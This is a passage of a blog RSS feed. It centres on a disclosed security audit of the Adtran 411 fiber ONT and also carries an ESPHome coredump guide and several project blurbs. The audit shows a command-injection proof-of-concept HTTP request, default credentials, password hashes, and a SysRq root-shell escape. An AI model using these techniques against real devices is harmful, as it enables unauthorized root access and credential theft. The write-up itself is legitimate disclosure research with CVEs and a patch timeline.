]]></content:encoded></item><item><title>ARIN IPv4 Waitlist Tracking</title><link>https://lanrat.com/projects/arin-ipv4-waitlist-tracking/</link><pubDate>Sat, 20 Sep 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/arin-ipv4-waitlist-tracking/</guid><description>&lt;p&gt;ARIN IPv4 Wait-list Tracking analyzes ARIN&amp;rsquo;s IPv4 address wait-list and provides statistical insights into wait times and allocation patterns. The Python-based system tracks historical data on IPv4 block requests and clearances to estimate processing times for different network block sizes.&lt;/p&gt;
&lt;p&gt;The web dashboard displays real-time analytics including current wait-list sizes, estimated wait times for /22, /23, and /24 blocks, and historical trends in IPv4 address allocation. This tool helps network administrators understand IPv4 scarcity patterns and plan address allocation strategies as IPv4 exhaustion continues.&lt;/p&gt;</description><content:encoded><![CDATA[<p>ARIN IPv4 Wait-list Tracking analyzes ARIN&rsquo;s IPv4 address wait-list and provides statistical insights into wait times and allocation patterns. The Python-based system tracks historical data on IPv4 block requests and clearances to estimate processing times for different network block sizes.</p>
<p>The web dashboard displays real-time analytics including current wait-list sizes, estimated wait times for /22, /23, and /24 blocks, and historical trends in IPv4 address allocation. This tool helps network administrators understand IPv4 scarcity patterns and plan address allocation strategies as IPv4 exhaustion continues.</p>
]]></content:encoded></item><item><title>ESPHome ESP32 Coredump Debugging</title><link>https://lanrat.com/posts/esphome-coredump-debugging/</link><pubDate>Fri, 22 Aug 2025 10:12:48 -0700</pubDate><guid>https://lanrat.com/posts/esphome-coredump-debugging/</guid><description>Guide for enabling and analyzing coredumps in ESPHome ESP32 projects to debug crashes with detailed stack traces and partition configuration.</description><content:encoded><![CDATA[<p>When developing with ESPHome on ESP32 devices, crashes can be frustrating to debug without proper stack traces. Enabling coredumps provides detailed crash information to help identify the root cause of issues.</p>
<h2 id="configuration">Configuration</h2>
<p>To enable coredump functionality, you&rsquo;ll need to modify your ESPHome configuration and create a custom partition table. This setup is for the Arduino framework - ESP-IDF configurations will differ slightly.</p>
<h3 id="esphome-configuration">ESPHome Configuration</h3>
<p>Add the following to your ESPHome YAML configuration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">esp32</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">framework</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">type</span>: <span style="color:#ae81ff">arduino</span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Partitions file seems to require full path</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">partitions</span>: <span style="color:#ae81ff">/full/path/to/custom_partitions_core_dump.csv</span>
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span><span style="color:#f92672">esphome</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">platformio_options</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build_flags</span>: 
</span></span><span style="display:flex;"><span>      - -<span style="color:#ae81ff">DCONFIG_ESP_COREDUMP_ENABLE_TO_FLASH=y</span>
</span></span><span style="display:flex;"><span>      - -<span style="color:#ae81ff">DCONFIG_ESP32_COREDUMP_DATA_FORMAT_ELF=y</span>
</span></span><span style="display:flex;"><span>      - -<span style="color:#ae81ff">DCONFIG_ESP32_COREDUMP_CHECKSUM_CRC32=y</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optional: Button to trigger test crashes</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">button</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Test Crash&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">crash_button</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_press</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            ESP_LOGE(&#34;test&#34;, &#34;Crashing device intentionally!&#34;);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            int* p = nullptr;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">            *p = 42;</span>
</span></span></code></pre></div><h3 id="custom-partition-table">Custom Partition Table</h3>
<p>Create a custom partition table file (<code>custom_partitions_core_dump.csv</code>). This is an example for an ESP32 with 8MB flash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-csv" data-lang="csv"><span style="display:flex;"><span><span style="color:#e6db74"># Name</span>,<span style="color:#e6db74">   Type</span>,<span style="color:#e6db74"> SubType</span>,<span style="color:#e6db74">  Offset</span>,<span style="color:#e6db74">   Size</span>,<span style="color:#e6db74">     Flags</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">nvs</span>,<span style="color:#e6db74">      data</span>,<span style="color:#e6db74"> nvs</span>,<span style="color:#e6db74">      0x9000</span>,<span style="color:#e6db74">   0x5000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">otadata</span>,<span style="color:#e6db74">  data</span>,<span style="color:#e6db74"> ota</span>,<span style="color:#e6db74">      0xE000</span>,<span style="color:#e6db74">   0x2000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">app0</span>,<span style="color:#e6db74">     app</span>,<span style="color:#e6db74">  ota_0</span>,<span style="color:#e6db74">    0x10000</span>,<span style="color:#e6db74">  0x3C0000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">app1</span>,<span style="color:#e6db74">     app</span>,<span style="color:#e6db74">  ota_1</span>,<span style="color:#e6db74">    0x3D0000</span>,<span style="color:#e6db74"> 0x3C0000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">eeprom</span>,<span style="color:#e6db74">   data</span>,<span style="color:#e6db74"> 0x99</span>,<span style="color:#e6db74">     0x790000</span>,<span style="color:#e6db74"> 0x1000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">coredump</span>,<span style="color:#e6db74"> data</span>,<span style="color:#e6db74"> coredump</span>,<span style="color:#e6db74"> 0x791000</span>,<span style="color:#e6db74"> 0x10000</span>,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">spiffs</span>,<span style="color:#e6db74">   data</span>,<span style="color:#e6db74"> spiffs</span>,<span style="color:#e6db74">   0x7A1000</span>,<span style="color:#e6db74"> 0x5F000</span>
</span></span></code></pre></div><p>The key addition is the <code>coredump</code> partition which reserves 64KB (0x10000) of flash storage for crash dumps.</p>
<h2 id="extracting-coredumps">Extracting Coredumps</h2>
<p>When a crash occurs, the ESP32 will write the coredump to the dedicated partition. To analyze it:</p>
<ol>
<li>
<p><strong>Copy the firmware ELF file</strong> (needed for symbol resolution):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp .esphome/build/your-device/.pioenvs/your-device/firmware.elf firmware.elf
</span></span></code></pre></div></li>
<li>
<p><strong>Extract and analyze the coredump</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>esp-coredump --port /dev/ttyACM0 info_corefile --save-core<span style="color:#f92672">=</span>my_core_dump.bin --core-format<span style="color:#f92672">=</span>raw firmware.elf &gt; coredump.txt
</span></span></code></pre></div></li>
<li>
<p><strong>Save coredump for offline analysis</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Extract raw coredump from flash</span>
</span></span><span style="display:flex;"><span>esptool.py --port /dev/ttyACM0 read_flash 0x791000 0x10000 coredump.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Erase the coredump partition for next crash</span>
</span></span><span style="display:flex;"><span>esptool.py --port /dev/ttyACM0 erase_region 0x791000 0x10000
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Analyze offline</span>
</span></span><span style="display:flex;"><span>esp-coredump info_corefile --core coredump.bin --core-format<span style="color:#f92672">=</span>raw firmware.elf
</span></span></code></pre></div></li>
</ol>
<h2 id="installing-esp-idf-tools">Installing ESP-IDF Tools</h2>
<p>The <code>esp-coredump</code> tool is part of the ESP-IDF framework. Install it by cloning the ESP-IDF repository:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone --depth <span style="color:#ae81ff">1</span> --recursive https://github.com/espressif/esp-idf.git
</span></span><span style="display:flex;"><span>cd esp-idf
</span></span><span style="display:flex;"><span>./install.sh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># run this every time to add the esp-idf tools to your PATH</span>
</span></span><span style="display:flex;"><span>. ./export.sh
</span></span></code></pre></div><h2 id="online-stack-trace-decoder">Online Stack Trace Decoder</h2>
<p>For quick analysis without local ESP-IDF installation, use the <a href="https://esphome.github.io/esp-stacktrace-decoder/">ESPHome Stack Trace Decoder</a> web tool. Simply paste your stack trace and firmware ELF file to get decoded function names and line numbers.</p>
<h2 id="summary">Summary</h2>
<p>Coredump debugging significantly improves the development experience when working with ESPHome on ESP32 devices. The detailed crash information helps identify issues that would otherwise require extensive trial-and-error debugging. Once configured, coredumps are automatically generated on each crash, overwriting the previous dump.</p>
]]></content:encoded></item><item><title>Adtran Fiber ISP Hacking</title><link>https://lanrat.com/posts/adtran-isp-hacking/</link><pubDate>Fri, 15 Aug 2025 17:13:03 -0700</pubDate><guid>https://lanrat.com/posts/adtran-isp-hacking/</guid><description>Comprehensive security audit of Adtran 411 fiber ONT revealing UART access, filesystem extraction, and multiple security vulnerabilities.</description><content:encoded><![CDATA[<h1 id="adtran-411-security-audit">Adtran 411 Security Audit</h1>
<p>Adtran produces equipment for fiber ISPs. I was provided an Adtran 411 by my current ISP for Internet access and decided to take a deep look into it.</p>
<p><img alt="Adtran 411 Front Panel" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-device-front-panel.webp"></p>
<p><img alt="Adtran 411 Back Panel" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-device-back-panel.webp"></p>
<p><img alt="Adtran 411 Ports Closeup" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-device-ports-closeup.webp"></p>
<h2 id="hardware">Hardware</h2>
<p>The Adtran 411 is a small GPON fiber ONT (Optical Network Terminal) designed to give symmetrical gigabit fiber Internet to SOHO users. It connects to the ISP via a GPON uplink and provides the user a normal ethernet RJ-45 connector to plug their router into and a RJ-11 port for a landline to be tunneled over VOIP.</p>
<p>The fiber ONT has a Broadcom MIPS CPU that also provides the network card as well.</p>
<p>The first step to learning more about the device is to look for any possible UART connections to grab serial logs. If present, the UART can provide boot logs and allow interacting with the device at a low level. Ideally this could also provide access to the bootloader and interact with the OS.</p>
<p>A UART can be identified by 3-4 pins, which will include Ground, Tx, Rx, and possibly a VCC. The Adtran just happened to have a hidden 4 pin header inside the device. Using a multimeter and logic analyzer revealed the pinout, and was able to provide the boot logs from the device. Amusingly, it can be accessed entirely externally by pushing wires through the vent holes!</p>
<p><img alt="UART Wiring Diagram" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-411-uart.webp"></p>
<p><img alt="Adtran 411 Internal PCB" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-pcb-board-internal.webp"></p>
<p><img alt="Adtran 411 UART Connections" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-device-uart-connections.webp"></p>
<p>The UART boot logs revealed that the device uses the uBoot boot loader and runs Linux. Once booted, it prompts for login credentials.</p>
<h2 id="dumping-the-filesystem">Dumping the Filesystem</h2>
<p>The hardware contains a NAND flash chip. This acts as the persistent storage for the device. The ideal way is to desolder the NAND flash storage and use an external NAND dumper, however that can risk damaging the device when removing or re-adding the NAND flash from the board.</p>
<p>The NAND flash can also be dumped on-device using a much slower method through uBoot. This method involves using the UART serial connection to tell uBoot to load the entire contents of the NAND flash into memory, then read the memory that contains the NAND flash and print the output as hex over the UART serial. While this is running, log all of the serial output and later parse this hex output and reconstruct the binary from flash.</p>
<p>This can be done using tools like screen, grep, sed, xxd, etc. Converting from binary to hex+ASCII over a serial connection is incredibly slow. This can be automated with the Python tool <a href="https://github.com/depau/bcm-cfedump">bcm-cfedump</a>. It took 15.5 hours to dump 128MB.</p>
<p><img alt="Hardware Hacking Setup" loading="lazy" src="/posts/adtran-isp-hacking/images/hardware-hacking-setup-laptop.webp"></p>
<h3 id="exploring-the-filesystem">Exploring the Filesystem</h3>
<p><img alt="MTD Partitions Boot Output" loading="lazy" src="/posts/adtran-isp-hacking/images/mtd-partitions-boot-output.webp"></p>
<p>The boot logs contained the partition layout for the NAND flash. We can use <code>dd</code> to carve out the individual partitions from the dump.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>dd bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>nand.bin  of<span style="color:#f92672">=</span>nvram.bin skip<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> count<span style="color:#f92672">=</span><span style="color:#ae81ff">131072</span>
</span></span><span style="display:flex;"><span>dd bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>nand.bin  of<span style="color:#f92672">=</span>update.bin count<span style="color:#f92672">=</span><span style="color:#ae81ff">64356352</span> skip<span style="color:#f92672">=</span><span style="color:#ae81ff">131072</span>
</span></span><span style="display:flex;"><span>dd bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>nand.bin  of<span style="color:#f92672">=</span>rootfs.bin count<span style="color:#f92672">=</span><span style="color:#ae81ff">64356352</span> skip<span style="color:#f92672">=</span><span style="color:#ae81ff">64487424</span>
</span></span><span style="display:flex;"><span>dd bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>nand.bin  of<span style="color:#f92672">=</span>data.bin count<span style="color:#f92672">=</span><span style="color:#ae81ff">4194304</span> skip<span style="color:#f92672">=</span><span style="color:#ae81ff">128974848</span>
</span></span></code></pre></div><p>Next the files from the embedded JFFS2 filesystem can be extracted with the <a href="https://github.com/onekey-sec/jefferson/">jefferson tool</a>.</p>
<h3 id="users--passwords">Users &amp; Passwords</h3>
<p>With access to the entire flash filesystem, it is possible to read <code>/etc/passwd</code> to get a list of users. Surprisingly this also contained password hashes. On modern Linux systems, passwords are saved in <code>/etc/shadow</code>, but this system had all of the hashes in the passwd file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>admin:$1$fiLRvAiv$WhZdXwZIDJ4QvO0XB1fdk0:0:0:Administrator:/:/bin/sh
</span></span><span style="display:flex;"><span>support:$1$g0vSrd8Z$gBnlXTkhvDr4dJrFP0I1n1:0:0:Technical Support:/:/bin/sh
</span></span><span style="display:flex;"><span>user:$1$7GYEnL0B$MbHFofzaMetppUwgKmvfv0:0:0:Normal User:/:/bin/sh
</span></span><span style="display:flex;"><span>nobody:$1$cd1QZr5m$TUd00gjlgEa8C/WZ0RMa9.:0:0:nobody for ftp:/:/bin/sh
</span></span></code></pre></div><p>There were four users, all of which belonged to the <code>root</code> group, gid 0. The password hashes are hashed using the MD5 algorithm as specified by the prefix <code>$1$</code>.</p>
<p>I was able to crack two of the password hashes using cheap online hash <a href="https://www.onlinehashcrack.com/">cracking</a> <a href="https://www.cmd5.org/">services</a>. This revealed the following two passwords:</p>
<ul>
<li><code>user</code>:<code>user</code></li>
<li><code>support</code>:<code>support</code></li>
</ul>
<p><em>I&rsquo;m a little embarrassed that I did not guess these passwords initially.</em> It&rsquo;s also very unusual that the <code>nobody</code> user has a password, and has a shell assigned to it. Especially if it&rsquo;s just meant for FTP as designated by the user account name.</p>
<p>These credentials worked to login on the UART shell, but more on that later&hellip;</p>
<h2 id="sysrq">SysRq</h2>
<p><img alt="BCM63XX Driver Initialization" loading="lazy" src="/posts/adtran-isp-hacking/images/bcm63xx-driver-initialization.webp"></p>
<p>There was this SysRq message in the boot logs. SysRq is an abbreviation for System Rq. What is <a href="https://en.wikipedia.org/wiki/Magic_SysRq_key">System Rq</a>?</p>
<p><img alt="Keyboard SysRq Keys Highlighted" loading="lazy" src="/posts/adtran-isp-hacking/images/keyboard-sysrq-keys-highlighted.webp"></p>
<p>The magic SysRq key is a key combination understood by the Linux kernel, which allows the user to perform various low-level commands regardless of the system&rsquo;s state. It is often used to recover from freezes. This key combination provides access to features for disaster recovery.</p>
<p><img alt="SysRq Magic Key Commands" loading="lazy" src="/posts/adtran-isp-hacking/images/sysrq-magic-key-commands.webp"></p>
<p>The keystrokes are: <code>[Alt]</code> + <code>[SysRq]</code> + <code>[Command Key]</code>, however, over UART in screen: <code>[Ctrl-A]</code> + <code>[Ctrl-B]</code> + <code>[Command Key]</code>. On systems that have SysRq enabled, it&rsquo;s possible to enter a root shell at any time by sending a special keystroke to the device. Sending the command for SIGKILL drops to root shell!</p>
<h2 id="network-scan">Network Scan</h2>
<p><img alt="Nmap Scan Results" loading="lazy" src="/posts/adtran-isp-hacking/images/nmap-scan-results-adtran.webp"></p>
<p>The boot logs revealed the device assigns itself a static IP of <code>192.168.1.1</code>. Statically adding an IP on the same subnet to your machine connected to the ONT over ethernet allows direct network communication. A port scan reveals that there are two services running, HTTP and Telnet.</p>
<h3 id="telnet-service">Telnet Service</h3>
<p><img alt="Telnet Login Shell Access" loading="lazy" src="/posts/adtran-isp-hacking/images/telnet-login-shell-access.webp"></p>
<p><img alt="Telnet Shell Command Errors" loading="lazy" src="/posts/adtran-isp-hacking/images/telnet-shell-command-errors.webp"></p>
<p>The telnet interface drops you into the same restricted shell as UART that requires auth. The passwords collected previously from the filesystem work!</p>
<p>After logging in, you are dropped to a very limited custom CLI. It&rsquo;s not a traditional shell. There are only a few limited debugging commands available like ping. Is it possible to escape this limited shell? Yes!</p>
<h4 id="telnet-command-injection">Telnet Command Injection</h4>
<p>The ping command allows for command injection via semicolon (<code>;</code>).</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/Aic-QaSqjxc?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h3 id="web-http-service">Web HTTP Service</h3>
<p><img alt="Adtran Password Change Interface" loading="lazy" src="/posts/adtran-isp-hacking/images/adtran-password-change-interface.webp"></p>
<p>Accessing the device over the network on port 80 presents a HTTP login form, which the previously collected credentials worked on.
Logging in as <code>user</code> provides some limited viewing of settings in the web interface. The access control page makes it clear the <code>admin</code> user has more permissions&hellip;</p>
<p>From the filesystem exploration, it was possible to identify additional hidden web pages that were not linked to in the menus.</p>
<p><code>/engdebug.html</code> allows for mirroring network port traffic for debugging</p>
<p><img alt="Engineering Debug Interface" loading="lazy" src="/posts/adtran-isp-hacking/images/engdebug-interface-mirror-controls.webp"></p>
<p><code>/packatcapture.html</code> allows for creating PCAP files for any interface.</p>
<p><img alt="Packet Capture Interface" loading="lazy" src="/posts/adtran-isp-hacking/images/packet-capture-interface.webp"></p>
<p>These debug pages provided very privileged access for a non-admin user.</p>
<h4 id="web-command-injection">Web Command Injection</h4>
<p>The ping utility has a similar command injection vulnerability as the CLI. You need to use two requests: one to run the command, and another to read the response.</p>
<p>Sending a HTTP GET request to <code>/ping.txt?action=ping&amp;command=cat%20/proc/cpuinfo</code> will initiate the &ldquo;ping&rdquo; command that will actually run the PoC command <code>cat /proc/cpuinfo</code>. The response from that command can later be received by requesting <code>/ping.txt?action=refresh</code>.</p>
<p><img alt="CPU Info System Details" loading="lazy" src="/posts/adtran-isp-hacking/images/cpuinfo-system-details.webp"></p>
<h4 id="dumping-more-credentials">Dumping More Credentials</h4>
<p>There was another hidden HTTP endpoint at <code>dumpsysinfo.html</code> that was accessible from the non-admin user that allows for the creation of a &ldquo;system information dump&rdquo;. This dumps all config with all user passwords to a plain text XML file. Now I have the <code>admin</code> password! The dump also includes SIP and other passwords too.</p>
<p><img alt="Config File Passwords Exposed" loading="lazy" src="/posts/adtran-isp-hacking/images/config-file-passwords-exposed.webp"></p>
<h2 id="control-plane">Control Plane</h2>
<p>With live shell access to the device, when plugged in and online, there are lots of internal interfaces online including internal network interfaces, VLANs, and bridges. One of these interfaces is the <a href="https://en.wikipedia.org/wiki/Control_plane">control plane</a> interface that provides some limited access to the ISP&rsquo;s management network.</p>
<p><img alt="Network Interface Status Output" loading="lazy" src="/posts/adtran-isp-hacking/images/network-interface-status-output.webp"></p>
<p>The main bridge <code>br0</code> is the customer facing ethernet connection with the <code>192.168.1.1</code> IP address. There is also an IP on <code>VLAN 702</code> on the GPON Fiber interface of <code>10.8.128.0/19</code>. This is a huge subnet with &gt;8k IPs, likely containing all of the other ISP&rsquo;s customers in this area. I was able to confirm other customers of this ISP could ping hosts on the control plane from behind their ONT.</p>
<p>All of the network services (Telnet, HTTP) are listening on all interfaces, including the control-plane. In theory this could allow a customer behind a compromised ONT to compromise other customers remotely. <a href="#disclosure">With permission</a> from my ISP I tested this and it does appear that customer to customer ONT traffic is blocked. However, some limited access to other devices on the control plane was accessible, including the gateway, DNS and VOIP server.</p>
<h2 id="disclosure">Disclosure</h2>
<p>None of these findings were the ISP&rsquo;s fault. All issues reside in the firmware for the Adtran ONT.
As soon as the ISP was made aware they took steps to make Adtran fix the issues and worked with me to do further testing. This is a security success story.</p>
<ul>
<li>February 6, 2024
<ul>
<li>submitted a support request to Adtran to disclose to</li>
</ul>
</li>
<li>February 9, 2024
<ul>
<li>submitted a 2nd support request to Adtran</li>
</ul>
</li>
<li>February 26, 2024
<ul>
<li>email ISP support to disclose</li>
</ul>
</li>
<li>February 29, 2024
<ul>
<li>heard back from ISP and provided all technical details of all findings</li>
<li>ISP acknowledges receiving findings</li>
</ul>
</li>
<li>March 1, 2024
<ul>
<li>ISP gives me permission and access to a test setup to test attacking other ONTs</li>
<li>Tests successfully fail.</li>
</ul>
</li>
<li>March 7th, 2024
<ul>
<li>ISP confirms Adtran is addressing the issues</li>
</ul>
</li>
<li>October 17th, 2024
<ul>
<li>Adtran test firmware is pushed to my home ONT for testing</li>
<li>I am given preview access to the new firmware and confirm all issues mitigated</li>
<li>UART/telnet/HTTP services are all disabled</li>
</ul>
</li>
<li>December 30th, 2024
<ul>
<li>Fixes start rolling out to customers.</li>
</ul>
</li>
</ul>
<h2 id="cves-common-vulnerabilities-and-exposures">CVEs (Common Vulnerabilities and Exposures)</h2>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22937">CVE-2025-22937</a>
<ul>
<li>debug serial console in Adtran 411 allows SysRq escape to root shell</li>
</ul>
</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22938">CVE-2025-22938</a>
<ul>
<li>Weak default passwords in Adtran 411</li>
</ul>
</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22939">CVE-2025-22939</a>
<ul>
<li>command injection in telnet server in Adtran 411 allows remote attacker arbitrary root command execution</li>
</ul>
</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22940">CVE-2025-22940</a>
<ul>
<li>web server in Adtran 411 allows unprivileged user to set/read admin password</li>
</ul>
</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-22941">CVE-2025-22941</a>
<ul>
<li>command injection in web server in Adtran 411 allows remote attacker arbitrary root command execution</li>
</ul>
</li>
</ul>
<h2 id="bsidessf-adventures--findings-in-isp-hacking">BSidesSF: Adventures &amp; Findings in ISP Hacking</h2>
<p>This content was covered in a talk I gave at BSidesSF 2025.</p>
<h3 id="slides"><a href="https://ian.ucsd.edu/slides/Adventures_and_Findings_in_ISP_Hacking_-_BSidesSF_2025.pdf">Slides</a></h3>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/iSgCmElrxbs?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

]]></content:encoded></item><item><title>Day Night Map</title><link>https://lanrat.com/projects/day-night-map/</link><pubDate>Sun, 27 Jul 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/day-night-map/</guid><description>&lt;p&gt;A real-time visualization of day and night regions across the world using accurate solar and lunar positioning calculations. The project renders day/night terminator lines, solar and lunar positions, and smooth twilight gradients on an interactive world map using HTML5 Canvas.&lt;/p&gt;
&lt;p&gt;The visualization integrates the SunCalc library for astronomical calculations and features optimized pixel-level rendering with support for multiple map projections (Equirectangular and Mercator). Additional features include moon phase visualization, responsive design, timezone customization, and a grayscale mode optimized for e-ink displays. The map updates every minute to reflect current celestial conditions.&lt;/p&gt;</description><content:encoded>&lt;p>A real-time visualization of day and night regions across the world using accurate solar and lunar positioning calculations. The project renders day/night terminator lines, solar and lunar positions, and smooth twilight gradients on an interactive world map using HTML5 Canvas.&lt;/p>
&lt;p>The visualization integrates the SunCalc library for astronomical calculations and features optimized pixel-level rendering with support for multiple map projections (Equirectangular and Mercator). Additional features include moon phase visualization, responsive design, timezone customization, and a grayscale mode optimized for e-ink displays. The map updates every minute to reflect current celestial conditions.&lt;/p>
</content:encoded></item><item><title>VLAN Scout</title><link>https://lanrat.com/projects/vlan-scout/</link><pubDate>Tue, 22 Jul 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/vlan-scout/</guid><description>&lt;p&gt;VLAN Scout discovers active VLANs and their configurations through passive monitoring and active probing. The tool identifies VLAN segments by analyzing network traffic and attempting connections across different VLAN IDs.&lt;/p&gt;
&lt;p&gt;The implementation supports multiple discovery protocols including DHCP, IPv6 neighbor discovery, LLDP, and CDP. VLAN Scout can operate in both passive monitoring mode to observe existing traffic and active probing mode to test VLAN accessibility and configuration.&lt;/p&gt;</description><content:encoded>&lt;p>VLAN Scout discovers active VLANs and their configurations through passive monitoring and active probing. The tool identifies VLAN segments by analyzing network traffic and attempting connections across different VLAN IDs.&lt;/p>
&lt;p>The implementation supports multiple discovery protocols including DHCP, IPv6 neighbor discovery, LLDP, and CDP. VLAN Scout can operate in both passive monitoring mode to observe existing traffic and active probing mode to test VLAN accessibility and configuration.&lt;/p>
</content:encoded></item><item><title>Bambu P1S Hacking</title><link>https://lanrat.com/projects/bambu-p1s-hacking/</link><pubDate>Sun, 13 Jul 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/bambu-p1s-hacking/</guid><description>&lt;p&gt;Bambu P1S Hacking contains firmware dumps, PCB analysis, and X-ray scans of the Bambu Labs P1S 3D printer&amp;rsquo;s ESP32-S3 controller board. The repository documents reverse engineering efforts to understand the printer&amp;rsquo;s firmware architecture and hardware implementation.&lt;/p&gt;
&lt;p&gt;The collection includes multiple firmware dumps processed through bin-voter to generate corrected flash images, detailed PCB trace analysis, and hardware documentation. This research provides insights into the printer&amp;rsquo;s embedded systems and potential modification opportunities.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Bambu P1S Hacking contains firmware dumps, PCB analysis, and X-ray scans of the Bambu Labs P1S 3D printer&rsquo;s ESP32-S3 controller board. The repository documents reverse engineering efforts to understand the printer&rsquo;s firmware architecture and hardware implementation.</p>
<p>The collection includes multiple firmware dumps processed through bin-voter to generate corrected flash images, detailed PCB trace analysis, and hardware documentation. This research provides insights into the printer&rsquo;s embedded systems and potential modification opportunities.</p>
]]></content:encoded></item><item><title>Bin Voter</title><link>https://lanrat.com/projects/bin-voter/</link><pubDate>Sun, 13 Jul 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/bin-voter/</guid><description>&lt;p&gt;Bin Voter reconstructs correct binary files from multiple corrupted firmware dumps by implementing a voting algorithm across byte positions. The tool compares corresponding bytes from multiple binary files and selects the most frequently occurring value at each position.&lt;/p&gt;
